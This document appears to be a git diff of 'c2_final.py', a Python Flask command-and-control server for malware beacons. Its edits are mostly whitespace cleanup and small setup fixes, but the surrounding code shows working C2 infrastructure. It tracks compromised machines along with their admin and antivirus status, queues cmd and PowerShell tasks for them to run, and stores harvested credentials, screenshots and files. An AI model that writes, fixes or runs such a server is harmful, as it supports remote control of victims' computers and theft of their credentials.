diff --git a/c2_final.py b/c2_final.py index 6250787..5a1c546 100644 --- a/c2_final.py +++ b/c2_final.py @@ -103,13 +103,13 @@ app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024 -# Rate limiter +# Rate limiter – fixed for flask-limiter >= 4.0 limiter = Limiter( - app, key_func=get_remote_address, default_limits=["200 per day", "50 per hour"], storage_uri="memory://" ) +limiter.init_app(app) # SocketIO with strict CORS socketio = SocketIO( @@ -124,7 +124,7 @@ def init_database(): """Initialize SQLite database with all tables (idempotent)""" conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() - + c.execute('''CREATE TABLE IF NOT EXISTS beacons ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT UNIQUE NOT NULL, @@ -147,7 +147,7 @@ def init_database(): sleep_time INTEGER DEFAULT 120, notes TEXT )''') - + c.execute('''CREATE TABLE IF NOT EXISTS tasks ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, @@ -161,7 +161,7 @@ def init_database(): completed_at REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') - + c.execute('''CREATE TABLE IF NOT EXISTS results ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, @@ -170,7 +170,7 @@ def init_database(): timestamp REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') - + c.execute('''CREATE TABLE IF NOT EXISTS files ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, @@ -182,7 +182,7 @@ def init_database(): created_at REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') - + c.execute('''CREATE TABLE IF NOT EXISTS credentials ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, @@ -193,7 +193,7 @@ def init_database(): timestamp REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') - + c.execute('''CREATE TABLE IF NOT EXISTS screenshots ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, @@ -201,14 +201,14 @@ def init_database(): timestamp REAL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') - + c.execute('''CREATE TABLE IF NOT EXISTS tags ( id INTEGER PRIMARY KEY AUTOINCREMENT, beacon_id TEXT NOT NULL, tag TEXT NOT NULL, FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) )''') - + c.execute('''CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, @@ -216,7 +216,7 @@ def init_database(): role TEXT DEFAULT 'operator', created_at REAL )''') - + c.execute('''CREATE TABLE IF NOT EXISTS audit_log ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, @@ -225,13 +225,13 @@ def init_database(): timestamp REAL, ip_address TEXT )''') - + # Insert default admin if not exists c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,)) if not c.fetchone(): c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)", (ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time())) - + conn.commit() conn.close() @@ -248,7 +248,7 @@ class CryptoManager: plaintext = decryptor.update(ciphertext) + decryptor.finalize() pad_len = plaintext[-1] return plaintext[:-pad_len] if pad_len <= 16 else plaintext - + @staticmethod def encrypt_aes(plaintext: bytes) -> str: """AES-256-CBC encryption without extra whitespace""" @@ -285,10 +285,10 @@ class Beacon: jitter_max: int = 180 sleep_time: int = 120 notes: str = "" - + def to_dict(self) -> dict: return asdict(self) - + @staticmethod def from_db_row(row) -> 'Beacon': return Beacon( @@ -306,7 +306,7 @@ class BeaconManager: self._beacons: Dict[str, Beacon] = {} self._lock = threading.Lock() self._load_from_db() - + def _load_from_db(self): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() @@ -315,11 +315,11 @@ class BeaconManager: beacon = Beacon.from_db_row(row) self._beacons[beacon.beacon_id] = beacon conn.close() - + def update_beacon(self, data: dict) -> Beacon: # Use UUID to avoid collisions beacon_id = self._generate_beacon_id(data['computer'], data['user']) - + with self._lock: if beacon_id not in self._beacons: beacon = Beacon( @@ -348,7 +348,7 @@ class BeaconManager: beacon.defender_status = data.get('defender', beacon.defender_status) self._update_beacon(beacon) return beacon - + def _generate_beacon_id(self, computer: str, user: str) -> str: """Unique beacon ID using UUID to avoid collisions""" # Use deterministic UUID v5 based on computer+user to keep same ID across sessions @@ -356,11 +356,11 @@ class BeaconManager: namespace = uuid.NAMESPACE_DNS name = f"{computer}\\{user}" return str(uuid.uuid5(namespace, name)) - + def _save_beacon(self, beacon: Beacon): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() - c.execute('''INSERT OR REPLACE INTO beacons + c.execute('''INSERT OR REPLACE INTO beacons (beacon_id, computer_name, username, process_id, os_version, is_admin, path, defender_status, uptime, install_date, domain, antivirus, first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes) @@ -373,10 +373,10 @@ class BeaconManager: beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes)) conn.commit() conn.close() - + def _update_beacon(self, beacon: Beacon): self._save_beacon(beacon) - + def get_pending_tasks(self, beacon_id: str) -> List[dict]: conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() @@ -384,16 +384,16 @@ class BeaconManager: tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()] conn.close() return tasks - + def mark_task_completed(self, task_id: int, output: str): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() - c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?", + c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?", (output, time.time(), task_id)) conn.commit() conn.close() self._audit("task_completed", str(task_id)) - + def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int: conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() @@ -405,7 +405,7 @@ class BeaconManager: conn.close() self._audit("task_added", f"{beacon_id}: {command}") return task_id - + def _audit(self, action: str, target: str): conn = sqlite3.connect(DATABASE_PATH) c = conn.cursor() @@ -413,15 +413,16 @@ class BeaconManager: ("system", action, target, time.time(), "127.0.0.1")) conn.commit() conn.close() - + def get_all_beacons(self) -> List[Beacon]: with self._lock: return list(self._beacons.values()) - + def get_beacon(self, beacon_id: str) -> Optional[Beacon]: return self._beacons.get(beacon_id) -beacon_manager = BeaconManager() +# instantiate beacon_manager later after DB init +beacon_manager = None # ==================== WEB UI TEMPLATES ==================== HTML_TEMPLATE = ''' @@ -431,9 +432,9 @@ HTML_TEMPLATE = '''